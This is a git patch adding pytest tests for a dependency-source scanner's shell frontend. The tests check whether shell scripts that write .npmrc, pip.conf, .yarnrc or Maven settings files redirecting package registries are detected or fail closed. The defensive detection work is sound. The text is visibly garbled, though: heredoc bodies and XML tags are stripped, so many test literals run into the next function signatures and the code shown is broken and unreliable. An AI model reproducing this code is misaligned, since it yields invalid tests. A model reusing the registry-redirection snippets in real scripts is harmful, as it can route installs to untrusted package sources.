"scripts/generated.sh" + + +@pytest.mark.parametrize( + "raw", + [ + (b'writer >"$DIR/.npmrc" <.npmrc <.npmrc < None: + dependency_sources = importlib.import_module("skillspector.dependency_sources") + shell_frontend = importlib.import_module("skillspector.shell_frontend") + budget = DependencyWorkBudget() + unit = shell_frontend.extract_shell_units( + "scripts/generated.sh", + raw, + executable_paths=frozenset(), + budget=budget, + ).units[0] + analysis = shell_frontend._analyze_shell_unit(unit, budget=budget) + + parsed = dependency_sources._parse_generated_configs( + analysis.program.generated_configs, + budget=budget, + ) + + assert parsed.limitations == () + assert len(parsed.changes) == 1 + change = parsed.changes[0] + assert change.destination == "unresolved" + assert change.destination_status.value == "unresolved" + assert change.span.path == "scripts/generated.sh" + + +@pytest.mark.parametrize( + "raw", + [ + b'writer >"$TARGET" <.npmrc < None: + dependency_sources = importlib.import_module("skillspector.dependency_sources") + shell_frontend = importlib.import_module("skillspector.shell_frontend") + budget = DependencyWorkBudget() + unit = shell_frontend.extract_shell_units( + "scripts/generated.sh", + raw, + executable_paths=frozenset(), + budget=budget, + ).units[0] + analysis = shell_frontend._analyze_shell_unit(unit, budget=budget) + + parsed = dependency_sources._parse_generated_configs( + analysis.program.generated_configs, + budget=budget, + ) + + assert parsed.changes == () + assert len(parsed.limitations) == 1 + + +def test_generated_config_unknown_state_requires_code_owned_uncertainty_markers() -> None: + dependency_sources = importlib.import_module("skillspector.dependency_sources") + shell_frontend = importlib.import_module("skillspector.shell_frontend") + raw = b"writer >.npmrc < None: + dependency_sources = importlib.import_module("skillspector.dependency_sources") + shell_frontend = importlib.import_module("skillspector.shell_frontend") + raw = ( + b'HOST="$A"\nOTHER="$B"\nwriter >.npmrc < None: + dependency_sources = importlib.import_module("skillspector.dependency_sources") + shell_frontend = importlib.import_module("skillspector.shell_frontend") + raw = b'HOST="$DYNAMIC"\nwriter >.npmrc <= 4 + tampered_starts = (*starts[:2], starts[2] - 1, *starts[3:]) + + parsed = dependency_sources._parse_generated_configs( + [ + replace( + config, + content_proof=replace( + config.content_proof, + physical_line_starts=tampered_starts, + ), + ) + ], + budget=budget, + ) + + assert parsed.changes == () + assert len(parsed.limitations) == 1 + + +def test_generated_config_uncovered_uncertainty_fails_before_output_reservations() -> None: + dependency_sources = importlib.import_module("skillspector.dependency_sources") + shell_frontend = importlib.import_module("skillspector.shell_frontend") + budget = DependencyWorkBudget() + raw = ( + b"writer >.npmrc <https://packages.example.invalid" + "\n", + "maven", + ), + ], +) +def test_generated_config_dispatch_is_generic_but_evidence_stays_in_script( + target: str, + content: str, + ecosystem: str, +) -> None: + dependency_sources = importlib.import_module("skillspector.dependency_sources") + shell_frontend = importlib.import_module("skillspector.shell_frontend") + raw = f"writer > {target} <<'EOF'\n{content}EOF\n".encode() + budget = DependencyWorkBudget() + unit = shell_frontend.extract_shell_units( + "scripts/generated.sh", + raw, + executable_paths=frozenset(), + budget=budget, + ).units[0] + frontend = shell_frontend.analyze_shell_unit(unit, budget=budget) + + parsed = dependency_sources._parse_generated_configs( + frontend.generated_configs, + budget=budget, + ) + + assert parsed.limitations == () + assert [(change.ecosystem.value, change.surface.value) for change in parsed.changes] == [ + (ecosystem, "generated-config") + ] + assert parsed.changes[0].span.path == "scripts/generated.sh" + + +def test_generated_config_invalid_values_and_mapping_gaps_fail_closed_before_output() -> None: + dependency_sources = importlib.import_module("skillspector.dependency_sources") + dependency_types = importlib.import_module("skillspector.dependency_source_types") + shell_frontend = importlib.import_module("skillspector.shell_frontend") + raw = b"writer > .npmrc <<'EOF'\nregistry=https://packages.example.invalid\nEOF\n" + + def config() -> Any: + budget = DependencyWorkBudget() + unit = shell_frontend.extract_shell_units( + "scripts/generated.sh", + raw, + executable_paths=frozenset(), + budget=budget, + ).units[0] + return shell_frontend.analyze_shell_unit(unit, budget=budget).generated_configs[0] + + base = config() + assert base.source_map is not None + body_entry = base.source_map.entries[0] + gap = len(base.content.exact_bytes) // 2 + cases = [ + replace(base, target=dependency_types.StaticValue.unknown()), + replace(base, content=dependency_types.StaticValue.unknown(), source_map=None), + replace(base, target=dependency_types.StaticValue.exact(b"bad\x00.npmrc")), + replace(base, content=dependency_types.StaticValue.exact(b"registry=\xff\n")), + replace( + base, + source_map=dependency_types.SourceMap( + path=base.span.path, + entries=(), + child_size_bytes=len(base.content.exact_bytes), + physical_size_bytes=len(raw), + physical_line_starts=( + 0, + *(index + 1 for index, byte in enumerate(raw) if byte == 10), + ), + ), + ), + replace( + base, + source_map=dependency_types.SourceMap( + path=base.span.path, + entries=( + dependency_types.SourceMapEntry( + 0, + gap, + body_entry.physical_start_byte, + body_entry.physical_start_byte + gap, + ), + dependency_types.SourceMapEntry( + gap + 1, + len(base.content.exact_bytes), + body_entry.physical_start_byte + gap + 1, + body_entry.physical_end_byte, + ), + ), + child_size_bytes=len(base.content.exact_bytes), + physical_size_bytes=len(raw), + physical_line_starts=base.source_map.physical_line_starts, + ), + ), + ] + for candidate in cases: + budget = DependencyWorkBudget() + parsed = dependency_sources._parse_generated_configs([candidate], budget=budget) + assert parsed.changes == () + assert len(parsed.limitations) == 1 + assert budget.used(DependencyWorkResource.SOURCE_RECORDS) == 0 + assert budget.used(DependencyWorkResource.EMITTED_CHANGES) == 0 + + ignored = dependency_sources._parse_generated_configs( + [replace(base, target=dependency_types.StaticValue.exact(b"notes.txt"))], + budget=DependencyWorkBudget(), + ) + assert ignored.changes == () + assert ignored.limitations == () + + +def test_generated_config_private_proof_retained_collections_are_bounded() -> None: + dependency_sources = importlib.import_module("skillspector.dependency_sources") + dependency_types = importlib.import_module("skillspector.dependency_source_types") + shell_frontend = importlib.import_module("skillspector.shell_frontend") + limit = dependency_types.MAX_DEPENDENCY_SOURCE_MAP_ENTRIES_PER_FILE + + def proof_config( + raw: bytes, + entries: tuple[Any, ...], + unknown_ranges: tuple[tuple[int, int], ...], + ) -> Any: + span = dependency_types.SourceSpan( + "scripts/generated.sh", + 0, + len(raw), + 1, + 1, + ) + proof = shell_frontend._GeneratedValueProof( + raw, + entries, + unknown_ranges, + True, + span.path, + len(raw), + (0,), + ) + return shell_frontend._ProvenGeneratedConfig( + unit_id="0" * 32, + provenance=dependency_types.SiteProvenance.GENERATED_CONFIG, + span=span, + target=dependency_types.StaticValue.exact(b".npmrc"), + content=dependency_types.StaticValue.unknown(), + source_map=None, + content_proof=proof, + physical_size_bytes=len(raw), + physical_line_starts=(0,), + ) + + entry_raw = b"x" * (limit + 1) + too_many_entries = tuple( + shell_frontend._GeneratedProofEntry(index, index + 1, index, index + 1) + for index in range(len(entry_raw)) + ) + entry_config = proof_config(entry_raw, too_many_entries, ()) + + unknown_raw = b"x" * ((limit + 1) * 2) + one_entry = (shell_frontend._GeneratedProofEntry(0, len(unknown_raw), 0, len(unknown_raw)),) + too_many_unknowns = tuple((index * 2, index * 2 + 1) for index in range(limit + 1)) + unknown_config = proof_config(unknown_raw, one_entry, too_many_unknowns) + + assert dependency_sources._generated_proof_view(entry_config, "content_proof") is None + assert dependency_sources._generated_proof_view(unknown_config, "content_proof") is None + + +@pytest.mark.parametrize("transformed", [False, True]) +def test_generated_config_rejects_tampered_physical_line_metadata( + transformed: bool, +) -> None: + dependency_sources = importlib.import_module("skillspector.dependency_sources") + shell_frontend = importlib.import_module("skillspector.shell_frontend") + raw = ( + b"HOST=packages.example.invalid\n" + b"writer >.npmrc <.npmrc <<'EOF'\nregistry=https://packages.example.invalid/private\nEOF\n" + ) + budget = DependencyWorkBudget() + unit = shell_frontend.extract_shell_units( + "scripts/generated.sh", + raw, + executable_paths=frozenset(), + budget=budget, + ).units[0] + config = shell_frontend._analyze_shell_unit(unit, budget=budget).program.generated_configs[0] + assert config.source_map is not None + if transformed: + assert config.content_proof is not None + candidate = replace( + config, + content_proof=replace(config.content_proof, physical_line_starts=(0,)), + ) + else: + candidate = replace( + config, + source_map=replace(config.source_map, physical_line_starts=(0,)), + ) + + parsed = dependency_sources._parse_generated_configs([candidate], budget=budget) + + assert parsed.changes == () + assert len(parsed.limitations) == 1 + + +def test_literal_maven_settings_reference_dispatches_nonstandard_bundle_file() -> None: + dependency_sources = importlib.import_module("skillspector.dependency_sources") + shell_frontend = importlib.import_module("skillspector.shell_frontend") + script_path = "scripts/setup.sh" + settings_path = "ci-settings.xml" + script = b"mvn -s ci-settings.xml install\n" + settings = ( + b"\n" + b" \n" + b" https://packages.example.invalid/repository\n" + b" \n" + b"\n" + ) + budget = DependencyWorkBudget() + extraction = shell_frontend.extract_shell_units( + script_path, + script, + executable_paths=frozenset(), + budget=budget, + ) + frontend = shell_frontend._analyze_shell_unit(extraction.units[0], budget=budget) + + parsed = dependency_sources._parse_maven_settings_references( + frontend.program.execution_commands, + components=[script_path, settings_path], + local_file_cache={ + script_path: script.decode(), + settings_path: settings.decode(), + }, + raw_file_cache={script_path: script, settings_path: settings}, + artifact_inventory=[ + classify_artifact(script_path, script), + classify_artifact(settings_path, settings), + ], + budget=budget, + ) + + assert parsed.limitations == () + assert [ + ( + change.ecosystem.value, + change.surface.value, + change.destination, + change.span.path, + change.span.start_line, + ) + for change in parsed.changes + ] == [ + ( + "maven", + "maven-config", + "https://packages.example.invalid/REDACTED_PATH", + settings_path, + 3, + ) + ] + + +@pytest.mark.parametrize( + ("command", "expected"), + [ + (b"mvn --settings ci-settings.xml install\n", "finding"), + (b"mvn -s missing.xml install\n", "limitation"), + (b'mvn -s "$CFG" install\n', "limitation"), + (b'mvn "$OPT" -s ci-settings.xml install\n', "limitation"), + (b"mvn --file -s ci-settings.xml install\n", "limitation"), + (b"mvn --unknown -s ci-settings.xml install\n", "limitation"), + (b"mvn install -s ci-settings.xml\n", "limitation"), + (b"mvn -s /ci-settings.xml install\n", "limitation"), + (b"mvn -s ../ci-settings.xml install\n", "limitation"), + (b"mvn -s ci-settings.xml --settings ci-settings.xml install\n", "limitation"), + (b"mvn -- -s ci-settings.xml install\n", "inert"), + (b"mvn deploy -DaltDeploymentRepository=x::default::https://publish.invalid\n", "inert"), + (b"other -s ci-settings.xml\n", "inert"), + ], +) +def test_maven_settings_reference_is_literal_unique_bundle_root_only( + command: bytes, + expected: str, +) -> None: + dependency_sources = importlib.import_module("skillspector.dependency_sources") + shell_frontend = importlib.import_module("skillspector.shell_frontend") + settings_path = "ci-settings.xml" + settings = ( + b"\n" + b"https://packages.example.invalid/repository\n" + b"\n" + ) + budget = DependencyWorkBudget() + unit = shell_frontend.extract_shell_units( + "scripts/setup.sh", + command, + executable_paths=frozenset(), + budget=budget, + ).units[0] + frontend = shell_frontend._analyze_shell_unit(unit, budget=budget) + record = classify_artifact(settings_path, settings) + + parsed = dependency_sources._parse_maven_settings_references( + frontend.program.execution_commands, + components=["scripts/setup.sh", settings_path], + local_file_cache={settings_path: settings.decode()}, + raw_file_cache={settings_path: settings}, + artifact_inventory=[record], + budget=budget, + ) + + assert len(parsed.changes) == (1 if expected == "finding" else 0) + assert len(parsed.limitations) == (1 if expected == "limitation" else 0) + + +@pytest.mark.parametrize( + "defect", + [ + "duplicate", + "raw-missing", + "decoded-mismatch", + "partial-record", + "size-mismatch", + "invalid-utf8", + "wrong-root", + ], +) +def test_maven_settings_reference_rejects_inconsistent_supplied_bundle_maps( + defect: str, +) -> None: + dependency_sources = importlib.import_module("skillspector.dependency_sources") + shell_frontend = importlib.import_module("skillspector.shell_frontend") + path = "ci-settings.xml" + settings = ( + b"https://packages.example.invalid" + b"\n" + ) + command = b"mvn -s ci-settings.xml install\n" + budget = DependencyWorkBudget() + unit = shell_frontend.extract_shell_units( + "scripts/setup.sh", + command, + executable_paths=frozenset(), + budget=budget, + ).units[0] + commands = shell_frontend._analyze_shell_unit(unit, budget=budget).program.execution_commands + record = classify_artifact(path, settings) + active_settings = settings + if defect == "invalid-utf8": + active_settings = b"\xff" + record = classify_artifact(path, active_settings) + elif defect == "wrong-root": + active_settings = b"\n" + record = classify_artifact(path, active_settings) + elif defect == "partial-record": + record = {**record, "decodable": False} + elif defect == "size-mismatch": + record = {**record, "size_bytes": len(settings) + 1} + inventory = [record, record] if defect == "duplicate" else [record] + raw_cache = {} if defect == "raw-missing" else {path: active_settings} + local_cache = { + path: ( + "different" + if defect == "decoded-mismatch" + else active_settings.decode("utf-8", errors="replace") + ) + } + + parsed = dependency_sources._parse_maven_settings_references( + commands, + components=["scripts/setup.sh", path], + local_file_cache=local_cache, + raw_file_cache=raw_cache, + artifact_inventory=inventory, + budget=budget, + ) + + assert parsed.changes == () + assert len(parsed.limitations) == 1 + + +def test_maven_settings_reference_rejects_normalized_bundle_aliases() -> None: + dependency_sources = importlib.import_module("skillspector.dependency_sources") + shell_frontend = importlib.import_module("skillspector.shell_frontend") + path = "ci-settings.xml" + alias = "./ci-settings.xml" + settings = ( + b"https://packages.example.invalid" + b"\n" + ) + conflicting = settings.replace(b"packages", b"conflict") + budget = DependencyWorkBudget() + unit = shell_frontend.extract_shell_units( + "scripts/setup.sh", + b"mvn -s ci-settings.xml install\n", + executable_paths=frozenset(), + budget=budget, + ).units[0] + commands = shell_frontend._analyze_shell_unit( + unit, + budget=budget, + ).program.execution_commands + + parsed = dependency_sources._parse_maven_settings_references( + commands, + components=["scripts/setup.sh", path, alias], + local_file_cache={path: settings.decode(), alias: conflicting.decode()}, + raw_file_cache={path: settings, alias: conflicting}, + artifact_inventory=[ + classify_artifact(path, settings), + classify_artifact(alias, conflicting), + ], + budget=budget, + ) + + assert parsed.changes == () + assert len(parsed.limitations) == 1 + + +def test_maven_settings_reference_rejects_function_shadowed_mvn() -> None: + dependency_sources = importlib.import_module("skillspector.dependency_sources") + shell_frontend = importlib.import_module("skillspector.shell_frontend") + path = "ci-settings.xml" + settings = ( + b"https://packages.example.invalid" + b"\n" + ) + script = b"mvn() { :; }\nmvn -s ci-settings.xml install\n" + budget = DependencyWorkBudget() + unit = shell_frontend.extract_shell_units( + "scripts/setup.sh", + script, + executable_paths=frozenset(), + budget=budget, + ).units[0] + commands = shell_frontend._analyze_shell_unit( + unit, + budget=budget, + ).program.execution_commands + + parsed = dependency_sources._parse_maven_settings_references( + commands, + components=["scripts/setup.sh", path], + local_file_cache={path: settings.decode()}, + raw_file_cache={path: settings}, + artifact_inventory=[classify_artifact(path, settings)], + budget=budget, + ) + + assert parsed.changes == () + assert len(parsed.limitations) == 1 + + +@pytest.mark.parametrize( + ("script", "expected_limitations"), + [ + (b"f() { mvn -s ci-settings.xml install; }\n", 0), + (b". ./defs.sh\nmvn -s ci-settings.xml install\n", 1), + (b"source ./defs.sh\nmvn -s ci-settings.xml install\n", 1), + ], +) +def test_maven_settings_reference_honors_private_execution_and_source_barriers( + script: bytes, + expected_limitations: int, +) -> None: + dependency_sources = importlib.import_module("skillspector.dependency_sources") + shell_frontend = importlib.import_module("skillspector.shell_frontend") + path = "ci-settings.xml" + settings = ( + b"https://packages.example.invalid" + b"\n" + ) + budget = DependencyWorkBudget() + unit = shell_frontend.extract_shell_units( + "scripts/setup.sh", + script, + executable_paths=frozenset(), + budget=budget, + ).units[0] + commands = shell_frontend._analyze_shell_unit( + unit, + budget=budget, + ).program.execution_commands + + parsed = dependency_sources._parse_maven_settings_references( + commands, + components=["scripts/setup.sh", path], + local_file_cache={path: settings.decode()}, + raw_file_cache={path: settings}, + artifact_inventory=[classify_artifact(path, settings)], + budget=budget, + ) + + assert parsed.changes == () + assert len(parsed.limitations) == expected_limitations + + +@pytest.mark.parametrize( + ("script", "expected_limitations"), + [ + (b"run() { mvn -s ci-settings.xml install; }\nrun\n", 1), + (b"run() { mvn -s ci-settings.xml install; }\neval 'run'\n", 1), + (b"run() { eval 'mvn -s ci-settings.xml install'; }\nrun\n", 1), + (b"run() { sh -c 'mvn -s ci-settings.xml install'; }\nrun\n", 1), + ( + b"run() { mvn -s ci-settings.xml install; }\neval 'other(){ :; }; run'\n", + 1, + ), + ( + b"inner() { mvn -s ci-settings.xml install; }\nouter() { inner; }\neval 'outer'\n", + 1, + ), + ( + b"danger() { mvn -s ci-settings.xml install; }\n" + b"outer() { eval 'other(){ :; }; danger'; }\nouter\n", + 1, + ), + ( + b"danger() { mvn -s ci-settings.xml install; }\nouter() { eval 'danger'; }\nouter\n", + 1, + ), + ( + b"inner() { mvn -s ci-settings.xml install; }\n" + b"mid() { inner; }\nouter() { eval 'mid'; }\nouter\n", + 1, + ), + (b"run() { mvn -s ci-settings.xml install; }\n:\n", 0), + (b"load() { . ./defs.sh; }\nload\nmvn -s ci-settings.xml install\n", 1), + (b". ./defs.sh\neval 'mvn -s ci-settings.xml install'\n", 1), + ( + b"load() { . ./defs.sh; }\n" + b"eval 'other(){ :; }; load'\n" + b"mvn -s ci-settings.xml install\n", + 1, + ), + ], +) +def test_maven_settings_reference_fails_closed_across_typed_execution_boundaries( + script: bytes, + expected_limitations: int, +) -> None: + dependency_sources = importlib.import_module("skillspector.dependency_sources") + shell_frontend = importlib.import_module("skillspector.shell_frontend") + path = "ci-settings.xml" + settings = ( + b"https://packages.example.invalid" + b"\n" + ) + budget = DependencyWorkBudget() + unit = shell_frontend.extract_shell_units( + "scripts/setup.sh", + script, + executable_paths=frozenset(), + budget=budget, + ).units[0] + commands = shell_frontend._analyze_shell_unit( + unit, + budget=budget, + ).program.execution_commands + + parsed = dependency_sources._parse_maven_settings_references( + commands, + components=["scripts/setup.sh", path], + local_file_cache={path: settings.decode()}, + raw_file_cache={path: settings}, + artifact_inventory=[classify_artifact(path, settings)], + budget=budget, + ) + + assert parsed.changes == () + assert len(parsed.limitations) == expected_limitations + + +@pytest.mark.parametrize( + ("script", "expected_changes"), + [ + (b"run() { eval 'mvn -s ci-settings.xml install'; }\n:\n", 0), + (b"run() { sh -c 'mvn -s ci-settings.xml install'; }\n:\n", 0), + ( + b"load() { eval '. ./defs.sh'; }\nmvn -s ci-settings.xml install\n", + 1, + ), + ], +) +def test_maven_settings_reference_preserves_uncalled_nested_function_context( + script: bytes, + expected_changes: int, +) -> None: + dependency_sources = importlib.import_module("skillspector.dependency_sources") + shell_frontend = importlib.import_module("skillspector.shell_frontend") + path = "ci-settings.xml" + settings = ( + b"https://packages.example.invalid" + b"\n" + ) + budget = DependencyWorkBudget() + unit = shell_frontend.extract_shell_units( + "scripts/setup.sh", + script, + executable_paths=frozenset(), + budget=budget, + ).units[0] + commands = shell_frontend._analyze_shell_unit( + unit, + budget=budget, + ).program.execution_commands + + parsed = dependency_sources._parse_maven_settings_references( + commands, + components=["scripts/setup.sh", path], + local_file_cache={path: settings.decode()}, + raw_file_cache={path: settings}, + artifact_inventory=[classify_artifact(path, settings)], + budget=budget, + ) + + assert len(parsed.changes) == expected_changes + assert parsed.limitations == () + + def test_maven_project_accepts_both_direct_repository_container_types() -> None: content = ( "\n" diff --git a/tests/unit/test_shell_frontend.py b/tests/unit/test_shell_frontend.py index 7c3f5a58..94af2ab0 100644 --- a/tests/unit/test_shell_frontend.py +++ b/tests/unit/test_shell_frontend.py @@ -825,30 +825,37 @@ def test_private_same_parse_ir_retains_bounded_structure_without_repr_content() assert "secretvalue" not in rendered +def test_ordered_fd0_fd1_redirect_facts_retain_only_the_final_effective_values() -> None: + result, _budget, _unit = _analyze(b"command >first >|second 1>>.npmrc <<first >second\n", - b"command >first 2>&1\n", - b"command <>readwrite\n", - b"command <<output arg\n", - b"command >output <first 2>&1 <readwrite >.npmrc <>.npmrc <&2 >.npmrc <.npmrc <.npmrc\nbody\nEOF\n", + b"command 3<.npmrc\nbody\nEOF\n", + b"command <.npmrc\nbody\nEOF\n", ], ) -def test_redirect_chains_and_malformed_adjacent_redirects_never_retain_facts( +def test_unsupported_descriptors_and_nonmodeled_fd_operations_fail_closed( raw: bytes, ) -> None: - budget = DependencyWorkBudget() - unit = _extract("scripts/redirect-chain.sh", raw, budget=budget).units[0] - - private = shell_frontend._analyze_shell_unit(unit, budget=budget) + result, _budget, _unit = _analyze(raw) - assert [command.site.argv[0].exact_bytes for command in private.program.commands] == [ - b"command" - ] - assert [fact for command in private.program.commands for fact in command.redirects] == [] - assert private.public.work_items[0].outcome is dependency_types.ShellWorkOutcome.PARTIAL + assert result.generated_configs == () + assert result.issues + assert result.work_items[0].outcome is dependency_types.ShellWorkOutcome.PARTIAL def test_heredoc_wrapper_argument_field_remains_structurally_proven_argv() -> None: @@ -858,6 +865,579 @@ def test_heredoc_wrapper_argument_field_remains_structurally_proven_argv() -> No assert result.issues == () +def test_completed_heredoc_and_here_string_emit_policy_free_generated_configs() -> None: + heredoc, _budget, _unit = _analyze( + b"writer > .npmrc < .npmrc <<< 'registry=https://packages.example.invalid'\n" + ) + + assert [ + (config.target.exact_bytes, config.content.exact_bytes) + for config in heredoc.generated_configs + ] == [(b".npmrc", b"registry=https://packages.example.invalid\n")] + assert [ + (config.target.exact_bytes, config.content.exact_bytes) + for config in here_string.generated_configs + ] == [(b".npmrc", b"registry=https://packages.example.invalid\n")] + assert heredoc.generated_configs[0].source_map is not None + mapped = heredoc.generated_configs[0].source_map.map_range(9, 41) + assert mapped is not None + assert (mapped.path, mapped.start_line, mapped.end_line) == ( + "scripts/lower.sh", + 2, + 2, + ) + assert heredoc.issues == () + assert here_string.issues == () + + +def test_generated_target_uses_only_the_modeled_binding_at_its_write_site() -> None: + result, _budget, _unit = _analyze( + b"CFG=.npmrc\n" + b'writer >"$CFG" < None: + prefix = b"DIR='" + value + b"'\n" + suffix = b" <$DIR/.npmrc" + suffix) + quoted, _budget, _unit = _analyze(prefix + b'writer >"$DIR/.npmrc"' + suffix) + + assert len(unquoted.generated_configs) == 1 + assert unquoted.generated_configs[0].target.state is (dependency_types.StaticValueState.UNKNOWN) + assert unquoted.issues + assert [config.target.exact_bytes for config in quoted.generated_configs] == [ + value + b"/.npmrc" + ] + assert quoted.issues == () + + +@pytest.mark.timeout(3) +def test_dynamic_function_calls_without_generated_configs_have_bounded_activation_work() -> None: + count = 10_000 + unit_id = "0" * 32 + span = dependency_types.SourceSpan("scripts/bounded.sh", 0, 1, 1, 1) + functions = tuple( + shell_frontend._FunctionContext( + index, + dependency_types.StaticValue.exact(b"f" + str(index).encode("ascii")), + span, + (), + None, + None, + index, + index + 1, + ) + for index in range(count) + ) + commands = tuple( + shell_frontend._CommandIR( + dependency_types.CommandSite( + unit_id, + dependency_types.SiteProvenance.FILE_SUFFIX, + span, + (dependency_types.StaticValue.unknown(),), + ), + index, + None, + None, + (), + (), + (), + program_id=unit_id, + resolution=shell_frontend._CommandResolution( + shell_frontend._CommandResolutionKind.AMBIGUOUS + ), + ) + for index in range(count) + ) + program = shell_frontend._ShellProgramIR( + program_id=unit_id, + functions=functions, + commands=commands, + ) + + class IssueSink: + def __init__(self) -> None: + self.count = 0 + + def _issue(self, *_args: Any, **_kwargs: Any) -> None: + self.count += 1 + + issue_sink = IssueSink() + retained = shell_frontend._retain_typed_function_generated_configs( + issue_sink, + program, + (), + commands, + [], + ) + + assert retained == [] + assert issue_sink.count == 0 + + imported_count = 20_000 + same_name_functions = tuple( + shell_frontend._FunctionContext( + index, + dependency_types.StaticValue.exact(b"f"), + span, + (), + None, + None, + index, + index + 1, + ) + for index in range(imported_count) + ) + imported_calls = tuple( + shell_frontend._CommandIR( + dependency_types.CommandSite( + unit_id, + dependency_types.SiteProvenance.FILE_SUFFIX, + span, + (dependency_types.StaticValue.exact(b"f"),), + ), + index, + None, + None, + (), + (), + (), + program_id=unit_id, + resolution=shell_frontend._CommandResolution( + shell_frontend._CommandResolutionKind.FUNCTION, + shell_frontend._IMPORTED_FUNCTION_ID, + ), + ) + for index in range(imported_count) + ) + imported_program = shell_frontend._ShellProgramIR( + program_id=unit_id, + functions=same_name_functions, + commands=imported_calls, + ) + config = shell_frontend._ProvenGeneratedConfig( + unit_id=unit_id, + provenance=dependency_types.SiteProvenance.GENERATED_CONFIG, + span=span, + target=dependency_types.StaticValue.exact(b".npmrc"), + content=dependency_types.StaticValue.exact(b"registry=https://x.invalid\n"), + physical_size_bytes=1, + physical_line_starts=(0,), + producer_program_id=unit_id, + producer_function_id=0, + ) + + retained = shell_frontend._retain_typed_function_generated_configs( + issue_sink, + imported_program, + (), + imported_calls, + [config], + ) + + assert retained == [] + assert issue_sink.count == imported_count + + +def test_second_on_line_recovery_emits_only_redirect_evidence() -> None: + private, _budget, _unit = _analyze_private( + b"cat > /dev/null < .npmrc < None: + result, _budget, _unit = _analyze( + b"cat </dev/null" + separator + b" cat >.npmrc < None: + result, _budget, _unit = _analyze( + b"cat </dev/null " + separator + b" \\\ncat >.npmrc < None: + result, _budget, _unit = _analyze( + b"cat </dev/null; " + gap + b"cat >.npmrc < None: + delimiter = b"ENDMORE" if b"\\\n" in header else b"END" + result, _budget, _unit = _analyze( + b"writer >.npmrc " + + header + + b"\nregistry=https://packages.example.invalid\n" + + delimiter + + b"\n" + ) + + assert [config.content.exact_bytes for config in result.generated_configs] == [ + b"registry=https://packages.example.invalid\n" + ] + assert result.issues == () + + +@pytest.mark.parametrize( + "raw", + [ + b"if true; then writer >.npmrc <.npmrc <.npmrc <.npmrc \\\n <.npmrc < None: + result, _budget, _unit = _analyze(raw) + + assert [ + (config.target.exact_bytes, config.content.exact_bytes) + for config in result.generated_configs + ] == [(b".npmrc", b"registry=x\n")] + assert result.issues == () + + +def test_tab_stripping_and_unquoted_body_line_continuation_preserve_exact_maps() -> None: + stripped, _budget, _unit = _analyze( + b"writer >.npmrc <<-EOF\n\tregistry=https://packages.example.invalid\n\tEOF\n" + ) + continued, _budget, _unit = _analyze( + b"writer >.npmrc < None: + explicit, _budget, _unit = _analyze( + b"writer 0<.npmrc\nregistry=https://packages.example.invalid\nEOF\n" + ) + multiple, _budget, _unit = _analyze( + b"writer >.npmrc < None: + false_clean, _budget, _unit = _analyze( + b"writer >.npmrc </dev/null < None: + result, _budget, _unit = _analyze( + b"writer >/dev/null < None: + unquoted, _budget, _unit = _analyze( + b"HOST=packages.example.invalid\n" + b"writer >.npmrc <.npmrc <<'EOF'\nregistry=https://$HOST/private\nEOF\n" + ) + dynamic, _budget, _unit = _analyze( + b"writer >.npmrc < None: + dynamic_body, _budget, _unit = _analyze( + b"writer 0<.npmrc\nregistry=https://$(hostname)/private\nEOF\n" + ) + dynamic_target, _budget, _unit = _analyze( + b'cat >/dev/null <"$CFG" < None: + result, _budget, _unit = _analyze( + b'HOST=packages.example.invalid\nwriter >.npmrc <<< "registry=https://$HOST/private"\n' + ) + + assert result.generated_configs[0].content.exact_bytes == ( + b"registry=https://packages.example.invalid/private\n" + ) + + +def test_narrow_external_tee_writer_and_pipeline_and_shadowing_boundaries() -> None: + direct, _budget, _unit = _analyze( + b"tee -a -- .npmrc < None: + result, _budget, _unit = _analyze( + b"tee .npmrc >capture.log <.npmrc <.npmrc <<<< value\n", + b"writer >.npmrc <.npmrc <.npmrc <<\nregistry=https://packages.example.invalid\n", + b"cat >/dev/null <.npmrc </dev/null <.npmrc </dev/null <.npmrc </dev/null <.npmrc </dev/null <.npmrc < None: + result, _budget, _unit = _analyze(raw) + + assert result.generated_configs == () + assert result.issues + assert result.work_items[0].outcome is dependency_types.ShellWorkOutcome.PARTIAL + + +@pytest.mark.parametrize( + ("suffix", "target", "content"), + [ + (b"<<.yarnrc", b".yarnrc", b"registry=x\n"), + (b"1>>pip.conf", b"pip.conf", b"registry=x\n"), + (b"&>.yarnrc", b".yarnrc", b"registry=x\n"), + ], +) +def test_recovered_second_segment_reduces_its_own_final_fd0_fd1_facts( + suffix: bytes, + target: bytes, + content: bytes, +) -> None: + result, _budget, _unit = _analyze( + b"cat >/dev/null <.npmrc < None: + raw = ( + b"cat >/dev/null <.npmrc < 0 + for extra, expected in [(0, "completed"), (1, "partial")]: + budget = DependencyWorkBudget() + file_budget = budget.for_file(unit.origin_span.path) + file_budget.register_shell_file_size(len(raw)) + precharge = limits[resource] - required_count + extra + if resource is dependency_types.DependencyWorkResource.SHELL_CST_VISITS: + exhaustion = file_budget.charge_shell_cst_visits(unit, precharge) + elif resource is dependency_types.DependencyWorkResource.RETAINED_SHELL_IR: + exhaustion = file_budget.charge_retained_shell_ir(unit, precharge) + elif resource is dependency_types.DependencyWorkResource.SHELL_RETAINED_VALUE_BYTES: + exhaustion = file_budget.reserve_shell_value_bytes(precharge) + else: + exhaustion = file_budget.charge_source_map_entries(precharge) + assert exhaustion is None + + result = shell_frontend.analyze_shell_unit(unit, budget=budget) + + assert result.work_items[0].outcome.value == expected + if extra: + assert dependency_types.ShellIssueReason.RESOURCE_LIMIT in { + issue.reason for issue in result.issues + } + + def test_assignment_value_fragments_are_charged_as_retained_private_ir( monkeypatch: pytest.MonkeyPatch, ) -> None: From ba3908f57c02a2ae9b4ac19bfa76f536d7c2ac82 Mon Sep 17 00:00:00 2001 From: Nir Paz Date: Wed, 26 Aug 2026 11:30:07 -0700 Subject: [PATCH 07/13] feat(sc10): adapt dependency source commands Signed-off-by: Nir Paz --- .../dependency_command_adapters.py | 1628 +++++++++++++++++ src/skillspector/dependency_source_types.py | 47 + src/skillspector/shell_frontend.py | 183 +- tests/nodes/analyzers/test_sc10_gap_corpus.py | 49 +- .../unit/test_dependency_command_adapters.py | 916 +++++++++- tests/unit/test_dependency_source_types.py | 45 + tests/unit/test_shell_frontend.py | 209 +++ 7 files changed, 3043 insertions(+), 34 deletions(-) create mode 100644 src/skillspector/dependency_command_adapters.py diff --git a/src/skillspector/dependency_command_adapters.py b/src/skillspector/dependency_command_adapters.py new file mode 100644 index 00000000..44670131 --- /dev/null +++ b/src/skillspector/dependency_command_adapters.py @@ -0,0 +1,1628 @@ +# SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +# SPDX-License-Identifier: Apache-2.0 + +"""Bounded package-manager grammars over public typed shell command facts.""" + 